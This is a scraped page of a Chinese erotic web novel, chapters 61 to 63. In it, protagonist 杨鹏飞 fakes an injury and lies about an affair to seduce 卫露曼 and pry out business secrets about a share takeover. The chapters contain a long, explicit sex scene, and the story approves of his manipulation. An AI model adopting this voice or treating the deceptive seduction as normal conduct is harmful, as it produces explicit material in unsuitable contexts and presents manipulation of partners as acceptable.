图片载入中

风月都市后宫录(61-90)

特大字】 【大字】 【中字】 【小字

第061章想把你吃了

杨鹏飞一听,险些晕倒,暗想:“她怎么也这么恨袁婷婷啊?难怪她和于洁那么好,原来是有共同的敌人啊。”

“什么袁婷婷?这怎么又和袁主任扯上关系啦?唉,老实和你说吧,我是和于洁一起来的,到了这里以后,她叫我在外面等她,你和你于姨那么好,难道她没有和你说吗?”杨鹏飞反客为主,显得一幅神神秘秘的表情。

“你和于姨一起来的?”卫露曼疑惑得说,“那她怎么没和我提起啊?”

“呵呵!”杨鹏飞故意尴尬得笑了两声,然后说:“我们……我们……”杨鹏飞故意说地吞吞吐吐,一幅十足的暧昧表情。

果然,卫露曼见状是恍然大悟,随即脸也羞的通红,不过在暗淡灯光下,杨鹏飞也没看出来。过了一会,只听卫露曼小声说:“你们男人真是坏透了,有了正式女朋友,还去找情人,还出去鬼混找小姐。”

“你怎么知道我出去鬼混找小姐啊?”杨鹏飞似笑非笑得看着她说。

“我……”卫露曼一时语塞,脸更加羞红了。

见状,杨鹏飞心里得意不已,他这一番话不仅骗过了卫露曼,而且还让她一不小心把真实情况说了出来。但得意归得意,他想既然卫露曼现在还不愿意承认自己就是路小曼,那他也不好逼她逼地太紧,逼地太紧只会弄巧成拙。

同时他还在想:“这下把于洁拉下了水,向卫露曼暗示自己和她是情人关系,从而骗过了卫露曼,但这只骗得了一时,骗不了很久,现在唯一的办法就是把于洁真的拉下水,让她真的成为自己的情人,否则事情要是揭穿了,自己非但没有办法探听到收购的秘密,而且还可能导致于洁和自己翻脸,要是真的到了那一步,自己可是没什么好日子过啊。”

“喂,你怎么样啦?自己还能不能走啊?”卫露曼见他半晌无语,还以为他痛的说不出话来了呢。

“嗯,还可以,慢慢走还行。”说着,杨鹏飞就站了起来,他可不想在此多做停留,要是这时候于洁和那个男人谈完出来看见他在这里,那他的谎话可就无所遁形啦。

“既然你能走,那我就先走啦。”卫露曼说完就转身欲走。

“靠!这也太不近人情了吧,把我伤成这样也不管不问,自己就先走啦,天下还有这种人吗?”杨鹏飞心里愤愤不平,但他可不能就这么让卫露曼走了,这样那他岂不是前功尽弃?于是就在卫露曼转身要走的时候,杨鹏飞发出了“啊!”的一声惨叫,然后蹲下身去。

“怎么啦?怎么啦?”卫露曼闻言急忙转过身来。

“脚痛。”杨鹏飞露出一幅痛苦的表情说。

“来,我扶你吧。”说着,卫露曼就走到杨鹏飞的身边搀住他的胳膊。

“嗯,算你还有点良心。”杨鹏飞见果然是不出自己所料,卫露曼跑来扶住自己,心里是暗暗高兴,但嘴里假惺惺得说:“那怎么好意思呢,你有事你就先走吧,我自己慢慢走可以的。”

“你这人怎么这么婆婆妈妈?快走吧,再怎么说,你的脚都是我给伤的,尽管这里面也有你一部分的责任,但我也不能就这样扔下你不管。你是到那边的小店里坐一下等于姨出来还是回酒店啊?”卫露曼的语气已经不像刚才那么冷淡了。

“我想我还是先回酒店吧,要是于洁她看见我们在一起,她会……她会……”

卫露曼当然杨鹏飞的意思,俏脸不由又是一红,小声道:“那好,我们快走吧。”

“好,快走,快走!”杨鹏飞心中暗喜。

就这样,杨鹏飞紧挨在卫露曼的身上,他能闻到卫露曼身上所散发出来的香味,那是一种飘忽不定,难以名状的幽香,杨鹏飞仿佛有一种飘飘然的感觉了。侧眼看去,杨鹏飞不由自主得盯着卫露曼那若隐若现的胸沟,她身上的衣裙在暗淡的灯光中仿佛渗透了一种神奇的东西,使杨鹏飞感到微微有些颤抖。

这时,天上新月如玉,静挂天宇,无云无风,天色澄清如洗。有一种诗意的浪漫。杨鹏飞心想:“要是此时和心爱的女孩一起携手走在月下,共步清宵;让我们在这样的夜里徜徉,各自诉说想说的话。那该多么纯净,多么幸福的时刻啊!可是人生难得,我这辈子也未必能得。”

云姐被大胡子抱进了面包车里,随着车门的关上,云姐感到一阵前所未有的恐惧和绝望,她一手抱胸,口中大骂:“你们这些流氓,快放开我,快放开!”

虽然几个流氓都没有进一步动作,但是云姐感到格外的恐惧。

回到酒店,卫露曼扶着杨鹏飞进了自己的房间,其实这时杨鹏飞的脚已经好的差不多了,也不什么痛了,但为了留住卫露曼,杨鹏飞还是装成一幅龇牙咧嘴,痛苦不堪的表情。

“好啦,我的任务也算是基本完成啦。”卫露曼将杨鹏飞扶到沙发上坐下后说,“你女朋友就住在你隔壁吧,我去叫她过来照顾你一下。哼,其实啊,要我说,干脆让你痛死算了,整天在外面沾花惹草的,这种男人不要也罢。”卫露曼这最后一句话声音说地很小,也就是自言自语,但杨鹏飞还是听地清清楚楚,不觉有些尴尬,但他也不好接着这话题为自己辩解,只好说:“算了,这么晚了,她肯定都睡着了,就别去打扰她了。”

“嘿嘿,你还挺体贴她嘛。”卫露曼冷笑一声道,“真是一个模范男友啊!”

听到卫露曼如此讽刺他,杨鹏飞脸上也有些挂不住了,心中也不由暗暗生气,暗道:“我再怎么寻花问柳,沾花惹草那都是我自己的事,你又不是我什么人,管地着嘛你。”心中虽然不悦,但现在杨鹏飞有求于她,不好和她翻脸,于是只好干笑两声,并不做答。

“不打扰你女朋友那难道还要我来照顾你吗?”说完,卫露曼就一扬头走出了门外,去敲云姐的房门去了。杨鹏飞见了不由暗暗叫苦,暗想:“要是云姐来了,那她就似乎没有什么理由再呆在这里了,而我也没什么理由再留住她了,她一走,那我岂不是又要前功尽弃了吗?唉,这该如何是好啊?”

正想着,卫露曼回来了,然而杨鹏飞却并没有看到云姐跟在她后面一起来,觉得有些奇怪,暗想:“云姐要是知道我受伤了,那她肯定会火急火燎得赶过来啊。”

正待发问,卫露曼倒先开口了,她说:“你女朋友呢?怎么不在房间里啊?”

“不在?不会吧。”杨鹏飞看了看手机上的时间说,“现在都十一点多了,她能去哪啊?”一听说云姐不在房间里,杨鹏飞心里有些欣喜,但更多的是担心。

“不会是出去找你了吧?”卫露曼斜眼看他说。

“嗯,你说地有道理,她可能是出去找我了。”杨鹏飞说,但同时他心里暗想,“云姐也太傻了吧,诺大的上海,她去哪找我啊?”想到这,杨鹏飞心里有些感动,但同时特放下心来,认为云姐找不到自己就会先在大街上逛逛然后很快就会回来。事实上,杨鹏飞预料地没错,云姐本来就是这么打算的,可他万万没有料到云姐会遇到危险。

“那……我……”卫露曼一时也不知道该怎么办了,她既想走可又不好就这么走了,这样走了她好象有一种做事有头无尾,不很圆满的感觉。可至于她究竟想要一种什么样的尾?她自己也不知道。

杨鹏飞看出了她的窘态,心里不由暗暗好笑,因为他知道了卫露曼其实对自己也是很好奇的,想知道他的一些事情,至少是他和于洁的一些事情,但出于女性的一种矜持和她对以往事情的顾虑,她不好意思主动向他说起。

“我想去窗户边站站,透透气。”杨鹏飞装做很艰难的从沙发上站起来。

“都这样了还不肯安静点,从这一点就能看出你就不是个安分守己的人。”卫露曼话虽这么说,但还是走过去扶住他,两人来到窗户边,打开窗户,大口唿吸着这深夜清新而又凉爽的口气。

小小的窗户边上,站着他们两个,夜色就尽现在他们的眼前。他们所处的这个城市的一隅灯火辉煌,显现出一片橘红色的火海。而夜的天空却压着低低的云层,映着城市的灯火,反射着一片死鱼肚样的白亮。他们就像是悬空站在这两层亮色的中间的皮影戏里的纸人。杨鹏飞喜欢看城市的夜色,在那一片灯火的大街上,演绎着各种城市故事,交织着这个城市所有的肮脏和色情。在夜色的灯火下,人们赤裸裸地表达着自己的欲望,而这欲望和所有的一切,都可以通过交换来得到实现。它和杨鹏飞的故乡不同,故乡的夜晚是那样宁静,大多数时候,有一弯浅月低低悬在西天,发出的光明不甚明亮,但却特别地温柔与妩媚,而天是湛蓝的,有那么几丝云彩静静地几乎以肉眼不可觉察的速度移动。整个大地是漆黑的,田野上静静地卧着一个个小小的村落。村落如死一样地宁静,偶尔能听到一两声狗叫。

“你什么时候和我于姨有那种关系的?”卫露曼先开口了。

“也……也就一个多月之前吧。”杨鹏飞支支吾吾得说,“不过请你相信我,我对你于姨是有感情的,绝不是你想象的那种寂寞男女的无耻苟合。”杨鹏飞尽量把自己深情款款的一面给表现出来。

“呵呵,有感情?”卫露曼冷笑一声说,“那你对钱小姐呢?对她有没有感情呢?”

“当然也有!不但有,而且感情很深厚。”

“呵呵,你倒是很博爱啊!”卫露曼不无讽刺得说。

“我知道你现在心里在想什么。”杨鹏飞悠悠得说,“你肯定以为我是个下流,无耻,浪荡,花心,不负责任的这么一个男人,对吧?”

“难道你不是吗?”

“怎么和你说呢?这么说吧,假如此时于总或云姐她们有难,我会毫不犹豫得去冲上去,尽我的一切去帮助她们。”杨鹏飞的神情显得真挚无比。

“尽你的一切?这包括你的生命吗?”

“当然,包括我的生命。”杨鹏飞说地斩钉截铁。

“哦,是吗?”卫露曼轻轻得问,语气中已经没有了刚才的那种咄咄逼人和冷嘲热讽了。显然也有些被杨鹏飞这真挚和坦诚的态度所感动。

“当然是!不光是对她们,对你也是一样。”杨鹏飞见她有些被自己感动了,不由心中暗喜,于是就大了胆子继续道。

“对我?”卫露曼有些惊讶,但仿佛杨鹏飞这话又在她的意料之中。

“是的,对你。”杨鹏飞一双眼睛深情得凝视着她说,“虽然你一直不承认你就是我上回在东海皇家大酒店里遇到的那位女孩,但我相信你就是。我这么说并不是要揭穿你什么,而是要让你知道我们是那么的有缘。自从我在皇家大酒店里见到你的第一眼起,我就知道你其实并不是一个小姐,因为有哪个小姐有你那样的气质和品位,我这并不是奉承你,而是我的心里话。另外,我还有一件事想要告诉你,不管你相不相信,那就是我从来不和小姐发生那种关系,那次在皇家大酒店见了你后和你做了那事,那是因为我在心底里就认为你其实根本就不是一个小姐。”

“别说了,求你别说了,为什么你老是提醒我的那一段往事呢?”卫露曼带着一丝哭腔说。

“哈哈,她承认啦,我早说了嘛,她迟早会承认的。”杨鹏飞心里暗乐,但脸上却仍是那幅深情得表情,说:“好,我不说了,不说了。”说着,杨鹏飞就情不自禁地把她搂在怀里。她的头也顺势靠在杨鹏飞的肩膀上。

“别,”卫露曼喃喃着,“别这样。”但她却没有任何反抗。她的声音仿佛不是坚意的拒绝,而是盛情的邀约。

窗外仍是月光如水。皎洁的月色使这个城市一下子显得如此干净如此美丽,一切都被某个洁白的意念净化了似的。从窗口看下去这城市完全像一个纯洁无疵的少女。

“别这样,”卫露曼被杨鹏飞紧紧地搂住,几乎透不过气来,“我想我们应该是好朋友,我们应该保持一点距离。”

“为什么?”杨鹏飞喘着气,问,“那种事儿都做了,为什么还要保持距离?”

“不,那是以前,而且还是一时冲动,现在不同了。”

“有什么不同?我还是原来的我,你还是原来的你。你一直都那么迷人,”杨鹏飞又说,“你是我见过的最迷人的女孩。”

“我哪一点迷住了你?你说。”

“一切。还要我说吗?一切!”

卫露曼的目光异样地亮起来。她伸出一只手,在杨鹏飞的发烫的脸颊上摸着。杨鹏飞的下颏和嘴唇被吉列刀片刮得干干净净。整个人也显得干干净净,无论是外表还是气质。他们互相凝视,互相欣赏,互相湮没。这是令人迷醉的时刻。

“不行,我不能这样,”卫露曼的手突然从杨鹏飞脸颊上滑落下来,“不能这样!”

“为什么?”杨鹏飞又那么问,“为什么不能这样?”

卫露曼忽然显出一阵羞愧的神情,这一回看来她真的是挣扎着反抗着了。

“放开我,”卫露曼说,“让我们坐起来好好说话。”

杨鹏飞松开了手,看着她坐起,并且整理着弄得很乱的长发。

“请原谅我的……冒犯。”杨鹏飞支吾地说道。他知道此时心急是吃不了热豆腐的。

“不,你没有错,”她说,“是我错了。我知道会如此,可是我……”

卫露曼叹了一口气。

“曼……曼……,”杨鹏飞叫着卫露曼的名字,“你真的很美,曼,真的,你……”

“别说了,”卫露曼温柔地注视着杨鹏飞说,“让我安静一会儿,我们都安静一会儿,好吗?”

“好吧,我听你的,”杨鹏飞像个大孩子似的,把头低下来,“我听你的。”

卫露曼禁不住又把那只手伸过来,轻轻地,无限柔情地在杨鹏飞的脸颊上摸着。她的眼眶里盈出了泪珠。杨鹏飞一把捉住她的手,捂在自己的发烫的脸上。

“你有你的女朋友,更重要的是你还有于姨,我不能,真的不能!”卫露曼几乎是喊出来的,她满眼的泪水不受控制的散落。

杨鹏飞看到卫露曼那副迷人的眸子里流淌出两行清澈的眼泪,杨鹏飞突然觉得这仿佛是他有生以来见到过的,最清澈的眼泪,最忧伤的眼泪。

“是的,我是有女朋友,我是和于总在一起,但这并不妨碍我们相爱,我们在一起啊。”说着,杨鹏飞以极度的拉力将卫露曼搂进怀里。滚烫的嘴唇压在卫露曼的唇上,两人热烈而疯狂地拥吻在一起。

夜很静,精灵一般的卫露曼蜷在杨鹏飞的怀里,一语不发,一动不动。杨鹏飞抱着她,看着窗外远处点点灯火。

卫露曼温柔的亲吻着杨鹏飞,杨鹏飞的身体开始和心灵一起颤抖,杨鹏飞开始小心的抚摸,像抚摸怀抱着的一只美丽的、精致的而又易碎的玻璃瓶。

卫露曼的肌肤像绸缎一般柔滑,洁白细腻。杨鹏飞抱住她,感受那来自灵魂深处的香,一点一点,缕缕诱人。

卫露曼真的像蜜糖一样也包裹了杨鹏飞,杨鹏飞从来没有如此的小心过。当灵魂与身体融为一体的时候,是快乐,是难以言喻的愉快,在心的深处,没有罪恶,没有肮脏,没有欲念,只是一种融合,一次愉快的交流,就像卫露曼长长的发丝,轻轻一绕,就缠住了这个世纪的刻骨铭心。

从窗台吹进来的风变得温柔起来,不忍打扰,风只是嫉妒的咬着嘴唇抓住窗帘轻摇,然后逃走了,向着远处那一片让人心醉心碎的蓝。

或许是因为情感的饥渴,心灵的饥渴,性爱的饥渴,就跟身体的饥渴一样。卫露曼开始如饥似渴地吮吸着杨鹏飞的嘴唇,她那柔软而活力十足的舌头在杨鹏飞的嘴里搅动着,她那纤细的手指在杨鹏飞的头发里,脸颊上,以及耳朵,颈项和肩头上疯狂地抚摩着。她显得是那样的肆无忌惮,而且又是那样的贪婪张扬。

“我真想把你给吃了。”卫露曼面容红晕,娇喘吁吁对杨鹏飞说道。

“我还想把你吃了呢!”杨鹏飞说完便双手在她的腋下一夹往上抬起,卫露曼顺势骑坐在杨鹏飞的腿上。杨鹏飞把她狠狠地搂在胸前,使她那热挺的双球紧紧地贴在自己的身上。

卫露曼闭着眼睛,嫣红的俏脸,放射着青春的光泽。两人两双饥渴的嘴唇相互靠近,他们狂暴的舌头互相缠绕,迷乱的身躯相互磨擦。杨鹏飞伸出手臂摸在卫露曼那正起伏汹涌的双球上,卫露曼的唿吸顿时紧了起来。杨鹏飞双手伸进她的上衣,握住她的双乳,手指逐渐灵活地捏着乳尖,渐渐地杨鹏飞感到它硬了起来。

第062章残害良家妇女

这时只见卫露曼她嘴唇一咬,索性叉手将她上身的无袖衬衣从头上脱了下来,露出了白皙的胸部,那雪白的双乳高傲地挺着,有着绝佳的形状;圆润的肩头,尽显她的成熟丰姿。真是耀眼生辉,美不胜收。看得杨鹏飞全身发热,下体亢奋。卫露曼的身上还时而传来馥郁的香气,更让杨鹏飞春心荡漾,欲火高涨。

这时,卫露曼身体后仰,一袭秀发随之向后飘洒。她一手勾住杨鹏飞的脖颈,一手将杨鹏飞的头按在她的胸口。杨鹏飞将脸埋在双乳之间,唿吸着她令人陶醉的阵阵乳香,手握住她的双球,嘴唇在双峰上游移。

杨鹏飞用力吮着她坚挺的乳头,用牙齿轻咬她的乳尖。杨鹏飞时而用舌尖如蜻蜓点水的动作在双球上捕捉,时而又从舌头到舌根让整个舌面在双球上面掠过,时而用手把她紧紧握住,企图把整个双球吞在嘴里,时而又抬起头深情的观看。卫露曼的双球上粘满了杨鹏飞的口水,房间里回荡着“啧啧”的吸啜声。

卫露曼闭着眼睛,显得很痴迷,很沉醉。她的双球姣美而富有弹性,而且极其敏感,在杨鹏飞的揉搓吮吸之下,它以令人惊讶的速度变化着,仿佛越来越胀,乳头也越来越大。她的身子似乎也因为刺激而开始轻轻抖动。杨鹏飞又伸手轻抚她发烫的脸颊,她的双眸碰上杨鹏飞的目光,羞涩地躲闪了几下,见躲不过他的注视,索性又闭上了眼睛。

杨鹏飞的手在卫露曼光滑的后背和臀部放肆的来回游走,卫露曼又双手支在杨鹏飞头的两侧,把娇艳欲滴的红唇送到他的嘴边。卫露曼媚眼如丝,娇羞满面。那情不自禁的低沉的呻吟声,腻到骨髓的喉音断断续续飘进杨鹏飞的耳朵,和着她轻轻摆动的身躯所发出女人的幽香在屋里弥漫。

杨鹏飞一只手掀开裙摆,伸入三角裤内,手放在湿润而且隆起的下体上,杨鹏飞长长地舒了一口气,心里有一股实实在在的满足感。这时只见卫露曼媚眼迷离,艳唇娇喘,周身火热。

当杨鹏飞把手伸到她的秘密地带的时候,卫露曼顿然将身体坐直,然后,她从杨鹏飞的腿上跨下来,把裙子里面的三角裤脱下来扔在沙发上,将裙子捋在腰间,露出白静光亮的小腹,杨鹏飞再次被她的美丽惊呆。她体态匀称,仪态万方。她鼻子挺挺的,眼睛潮润着,弥漫着像晨雾一般朦胧的雾气,又像一潭秋水之上悬浮的一抹云霞,如烟,如云,如幻,如梦。

这时,卫露曼牵着杨鹏飞的手坐回到沙发上,然后她抬起她那修长白皙的美腿又跨坐在杨鹏飞的腿上。

杨鹏飞早已欲火难忍,便挺起臀部,往上狠狠一顶。

“啊!”卫露曼喊了一声,便靠在杨鹏飞的胸前不动了。

卫露曼坐在杨鹏飞的身上,眼睛半眯着,显露出一种迷离而陶醉的神情。两人就这样就这样的谈着、吻着、抚摸着、活动着……情话绵绵,灵犀相通,像一对久别重逢的恩爱夫妻,你贪我恋,翻云覆雨,两情相融,灵肉一体,沉浸在愉悦,兴奋,满足与幸福的欢乐中。

卫露曼转动着玉臀,迎送、闪合、翻腾、扭摆,犹如优美迷人的舞姿。吸吮吞吐,收缩,颤动,一吸一吐,一紧一松,不停地刺激着杨鹏飞,使杨鹏飞感到有一阵阵的快感汹涌地侵袭着。

在一浪接一浪的欢叫和撞击声中,杨鹏飞忽然嵴椎一麻,一股无比舒服的感觉直灌他的脑际,仿如电击,一直向着他的下体冲了下来。杨鹏飞再也无法控制自己了!在阵阵晕眩的冲击中,他不由得嘴巴大张,“喔……”地叫着。然后以前所未有的速度冲击着,头脑中白茫茫的空白一片。一种极度的快感一阵紧比一阵地冲击着他的脑海,终于,飞上了天……

激情过后,杨鹏飞心里充满了成就感,他想:“一般来说,一个女人心甘情愿得和一个男人发生那种关系,那就说明这个女人对那个男人来说已经没有什么秘密了。而这个女人也愿意向那个男人吐露自己心底最深藏的秘密。”想到这,杨鹏飞就准备开口问卫露曼今晚于洁和那个男人究竟在谈些什么,然而还没等他开口,卫露曼倒先说话了,只见她伏在杨鹏飞的胸口,幽幽道:“我是你的第几个女人?”

“这……”杨鹏飞不料她会问这个,一时张口结舌,不知该做如何回答。

“唉!算了,你别说了,我已经知道了。”卫露曼轻叹一口气说,“我知道在我之前有很多女人和你上过床,这其中还包括我的于姨,而我也不是你最后一个女人,这些我都很清楚,可你知道为什么我明知道你是这样的人却还愿意和你做这事吗?”

“因为我的挑情手段比较高呗。”杨鹏飞心里暗道。

“你以为你是挑情手段高,哄女孩子的手段高明?”卫露曼象是知道他的心思似的,抬起头看着他的眼睛说。

杨鹏飞不禁吓了一跳,暗想:“我怎么象是我肚子里的蛔虫似的知道我在想什么啊?”想归想,但脸上还是摆出了一幅义愤填膺的表情说:“你怎么这样想我呢?你这样想不但是侮辱了我,而且还侮辱了你自己,你就那么容易被人哄骗吗?我觉得我们是有缘才走到现在这一步的。”

“是的,你说地没错,我们是有缘,缘,真是一件妙不可言的东西啊!你知道吗?你长地很像他。”卫露曼摸着杨鹏飞的脸庞说。

“他?”杨鹏飞隐隐猜到了几分。

“我想你已经知道他是谁了吧?不错,他就是于姨的小外,也是袁婷婷那小骚狐狸死去的男朋友。”卫露曼提到袁婷婷的名字时总要在其后面加上骚狐狸三个字,仿佛不加上这几个字就不能足以表达她对袁婷婷的恨意。这时,杨鹏飞已经猜到事情的一个大概了。只听卫露曼继续说:“我真的爱他,真的爱!可他却被袁婷婷那个小骚狐狸给夺走了,夺走也就罢了,可她却还害死了他,我这一辈子都不能原谅她,我要她付出代价。”说到这时,卫露曼似乎都有些咬牙切齿了。

“那不能怪袁婷婷,要怪只能怪他自己,一切都是他咎由自取。”杨鹏飞心想。同时他也感到有些气馁,他原以为是他用自己的魅力征服了卫露曼,使她和自己上了床,没想到她对自己其实根本就没有什么感觉,在卫露曼的意识里,自己只不过是被她当作了她心目中的他了。说穿了,自己就是他的替代品而已,卫露曼之所以愿意和自己发生关系,主要还是为了填补她心灵的一段空白罢了。

“算了,不想了,就算是她得到了心灵满足,而我得到了肉体满足,两不亏欠!”杨鹏飞在心里自我安慰。

“你知道那天我为什么会出现在东海的那家酒店吗?”卫露曼看着杨鹏飞说。杨鹏飞摇了摇头,在此之前,他心里确实感到很奇怪,按理说,像卫露曼这种有钱有势的女孩怎么可能会去那种地方做小姐呢?这要是以前有人这样对他说,那是打死他他也不相信啊,可现在,他听了卫露曼说了这些话,他相信了,并且还猜到了事情的大概,但他想让卫露曼自己亲口把事情详细得说出来,所以他还是摇了摇头。

“那时候,我刚知道他已经不在这个人世间的消息。”卫露曼躺在杨鹏飞的怀里喃喃道,“你知道我当时知道了这个消息后的心情吗?痛苦,绝望,我当时想既然我心爱的他已经不在了,那我活在这个世上还有什么意义呢?当时我真的想到了死,想随他而去,可我又不甘心就这样死了,而且这世上还有我牵挂的人,象我爸,我姐他们,所以当时我就想到了放纵,彻彻底底的放纵!于是我就回到了东海,在走过和他当年一起走的每一条街道,每一个角落后,我来到了皇家大酒店,找到了那里的妈妈桑,那个妈妈桑见到了我并听了我的来意后是眉开眼笑,当场就同意我在她手下做,于是在交了八百元押金后她就带我见客了。”

卫露曼说到这时顿了一下,抬头看了看杨鹏飞脸上的表情,然后继续说:“可没想到我第一次去那里,第一次下决心要放纵自己,然而我第一个遇到的客人居然是你,一个长地和他那么像的一个男人。你知道我第一眼看到你时的心情吗?激动,紧张,茫然,什么都有,或许也什么都没有,就是在那种说不清,道不明的情绪影响下,我才胡里胡涂得和你发生了那种关系。事后,我也不知道是该悔恨还是该庆幸?但我现在想来,还是应该庆幸多些吧,因为我想当时我遇到的第一个客人如果不是你而是其他人的话,那我照样会去放纵,说不过定还会一直放纵下去,那样的话,我想我这辈子也算是毁了。所以说,还是要感谢老天,让你的出现免让我一失足而成千古恨。”

“哦?这么说那晚过后,你就想通啦?”杨鹏飞试探地问。

“是啊。”卫露曼神色幽幽得说,“自从那晚和你一别后我就彻底想通了,他已经不在了,我再怎么想他也都无济于事了,颓废,放纵,伤害的只是自己和家人。”

杨鹏飞想了一会说:“既然你已经想通了那又何必再恨袁主任呢?”

闻言,卫露曼猛然坐了起来,用一种审视的眼神直打量杨鹏飞,只打量地杨鹏飞心里有些发毛,好半天他才不自然得一笑,说:“你这么看着我干嘛?我说地不对吗?”

打量了一会,卫露曼重又躺倒在他的怀里,说:“嗯,你说地也许对!他的事以及他是怎么离开这个人世间的,想必于姨已经都和你说了吧。”

“嗯,说了。”杨鹏飞口中答道,心里却在想:“嗯,是说了,不过对我说的是袁婷婷,饿不是你的于姨。”

“这件事真要说起来确实不能怪她,可是整个事情都是由她而起,不怪她又能怪谁呢?她不杀伯仁,伯仁却因她而死!所以我恨她,就像于姨恨她一样。”

“说到底是你心里的醋意在作怪吧。”杨鹏飞心中暗想。口种却说:“所以你想和你的于姨联手一起对付袁婷婷。”

“这事于姨也和你说啦,看来她是真的喜欢上你这个小白脸啦,咯咯……”卫露曼打趣道。

“去去去,什幺小白脸,小黑脸的,多难听啊!”杨鹏飞笑道。

“切,怕难听你还做?”卫露曼不屑道。

“我做什么了我?我和于总之间是彼此欣赏,彼此吸引,所以也就自然而然得走到了一起。我又不是贪图她的钱。我和她之间根本就没有金钱关系,何来小白脸这一说?”杨鹏飞说地大义凛然,义正词严,仿佛他和于洁真有了一腿似的,急忙忙得为自己辩护。突然,杨鹏飞似乎想到了什么,坏坏一笑道:“我和于总在一起,那我就是她的小白脸,那现在我们这幅模样在一起,那是不是就是说你是我的小姘头呢?嘿嘿!啊……”杨鹏飞刚发出两声坏笑,紧接着就发出了一声惨叫。原来是卫露曼在他的小兄弟上狠狠捏了一下。

只听卫露曼笑道:“痛吧?活该!谁叫你满口喷粪呢?咯咯……”

杨鹏飞苦着脸说:“谁叫你先说我呢?哎呀!痛死我了!你那它捏坏了那你以后可就没得同啦。”一边说一边摸着自己的小兄弟。

闻言,卫露曼脸微微一红道:“谁说我以后还要用啊?我把你这玩意捏坏了是为民除害,省得你以后再去残害人家良家妇女。”

“呵呵!”杨鹏飞微微一笑,并没有去接这个话题,而是问:“今晚你们谈地怎么样啦?哦,对了,今晚和你一起来的那个男人是谁啊?”

“唉,对付袁婷婷那个小骚狐狸确实不太容易啊!因为人家是第一大股东,如果我们家族和于姨家族一起联手,那和她们是有得一拼。

可我们的股份大部分掌握在我家老头子手里,而老头子和那小骚狐狸的老头子关系很好,想要说服我家老头子把股份转让给于姨恐怕不太容易啊,而我手上的股份只有一点点,转让给于姨根本起不了任何作用。今晚和我一起来的那个人是我们公司的财务总监,也是我老头子的心腹,于姨找他来就是想让他想办法说服老头子把股份转让给她,至于他们谈地怎么样?得要等他们回来才知道。“

第063章妈妈的想法

听了卫露曼这些话,杨鹏飞是既欣喜又有些紧张,欣喜的是袁婷婷她预料地果然没错,卫祖林不会轻易将股份转让出去的,而紧张的是于洁并不从卫祖林身上下手,而是从他的身边人开始着手,这是袁婷婷所没有预料到的,他得赶紧通知袁婷婷才好,好让她早有准备。

说到于洁她们回来,卫露曼似乎想到了什么,赶紧说:“他们现在肯定是已经他完了吧,要是于姨回来看到我们这样在一起,那该怎么办啊?不行,赶紧起来。”杨鹏飞心想也是,不过他担心的不是于洁回来,因为即使于洁回来她也不会到他的房间来,他担心的是云姐突然闯进来,要是给云姐看见他和卫露曼这样赤裸裸的抱字一起,那就惨了。于是也忙说:“你说地对,我们赶紧起来吧。”

卫露曼闻言不由白了他一眼道:“说你是小白脸你还不承认,你瞧你,我一说于姨要来,你脸色都变了,你就那么怕她啊?”

杨鹏飞听她这么说心中反而暗喜,因为他从这话里听出了一丝醋味,于是说:“我这不是怕她,而是为你着想啊,你们那么好,要是为了我闹出不愉快,那我心里也过意不去啊。”

“为了你?你就别臭美了。”卫露曼话虽然这样说,但还是很快起身穿好了衣服。

“那好,既然你都不怕,那我还怕什么,你别走,咱们现在就去于总那里,向她说说我们的关系。”杨鹏飞摆出一幅无所畏惧的模样。

“切,你是你,我是我,别咱们咱们的,听着别扭。再说了,谁和你有关系?我们之间什么关系也没有,你就别异想天开啦。”卫露曼一边梳理自己的头发一边说。

“呵呵,不和你扯了,我去云姐的房间看她回来了没有?”过了一会,杨鹏飞又回到了房间,奇怪得说:“咦,云姐怎么到现在还不回来呢?不会出什么事吧?小曼,你们上海这里的治安情况怎么样?”

“还好啊,应该不会出什么事吧?”卫露曼这时已经整理好了衣裙,准备走了。

“不行,我得出去找找她。”这时,杨鹏飞也有点着急了。

“上海这么大,你去哪找?再说你也没车,找起来很不方便的。”

“没车就打的嘛,一个大活人还能给尿憋四不成?”杨鹏飞心中一急,也开始说起粗话来。

“算了,念你也是找女朋友心急,也勉强算是个有情义的男人,我就不和你计较什么了,并且我再帮你一把。”

“帮我?怎么帮?”杨鹏飞疑惑得问。

卫露曼微微一笑,并未作答,而是从小包里掏出一部精巧的手机,拨了一个号码,随即只听她说:“五分钟之内把我的车开到希尔顿酒店门前。”

杨鹏飞明白了,卫露曼是把自己的车借给他去找云姐。这时,卫露曼放下手机对他说:“你不会告诉我你不会开车吧。”

“是啊,真让你说对了。”杨鹏飞故意说,“我是不会开车,所以还要麻烦你给我当一下司机哦。”

“天啊,不会吧。”卫露曼夸张得大叫了一声。

“呵呵,骗你的呢。赶快走吧,五分钟差不多也快到了。”

卫露曼瞪了他一眼道:“我先走,你过两分钟再出去,我在车上等你。”说完,卫露曼头一扬就走出去了。杨鹏飞明年她的意思,她是怕他们一起出去时碰到于洁,“这个小妮子,心思还蛮细的嘛。”杨鹏飞心中暗想。

过了两分钟,杨鹏飞走出酒店,在不远处他看见停着一辆红色跑车,杨鹏飞估计那辆车就是卫露曼的座驾了,但由于看不见车里面的人,杨鹏飞也不敢贸然上前去打开车门,只好拿眼睛不住的朝车里张望。由于他的怪异行为,引起了酒店门前保安的注意,保安以为他是偷车贼,也拿眼睛不住的盯着杨鹏飞,对他保持高度戒备,只等杨鹏飞将手伸向跑车,他们几个就会一拥而上,将他抓个现行。

就在杨鹏飞朝跑车里东张西望,对该不该拉开车门举棋不定时,跑车的方向灯突然闪了两下,接着车门打开了,只见卫露曼笑嘻嘻得看着他。杨鹏飞见状,不禁又好气又好笑,说:“你这是干嘛?看到我也不出声,害的我东张西望老半天。”

“咯咯……我高兴,你管地着吗?告诉你,你刚才的样子像什么吗?像一个偷车贼,哈哈,喂,你以前是不是做过偷车这一行啊?要不刚才你怎么那么像啊。你瞧,那边几个保安都开始注意你啦。”卫露曼笑地花枝乱颤。

“你就少说两句,快开车吧,赶快去找云姐,我有种预感,云姐肯定是出什么事了,要不她不会这么晚了都不回来,而且手机也不开。”杨鹏飞一脸的着急。

“你还想让我给你做司机啊,没门!”说完,卫露曼就打开驾驶座位这边的门,走到另一边副驾驶的位置上。杨鹏飞无奈,只好坐到驾驶的位置上,发动了跑车,车子一熘烟的消失在茫茫夜色中。只剩下酒店门前的几个保安张着大嘴,愕然得看着这一切,也不知道他们是在羡慕杨鹏飞有香车美女做伴还是在可惜失去了一次勇抓偷车贼的表现机会。

杨鹏飞先是开着车在希尔顿酒店附近转了几圈,没有发现什么。接着杨鹏飞又把车朝前开去,他开地极慢,一边开还一边朝道路两边仔细搜索,希望能从中找出云姐,而坐在一边的卫露曼也睁大着眼睛帮他在人群里搜索着。

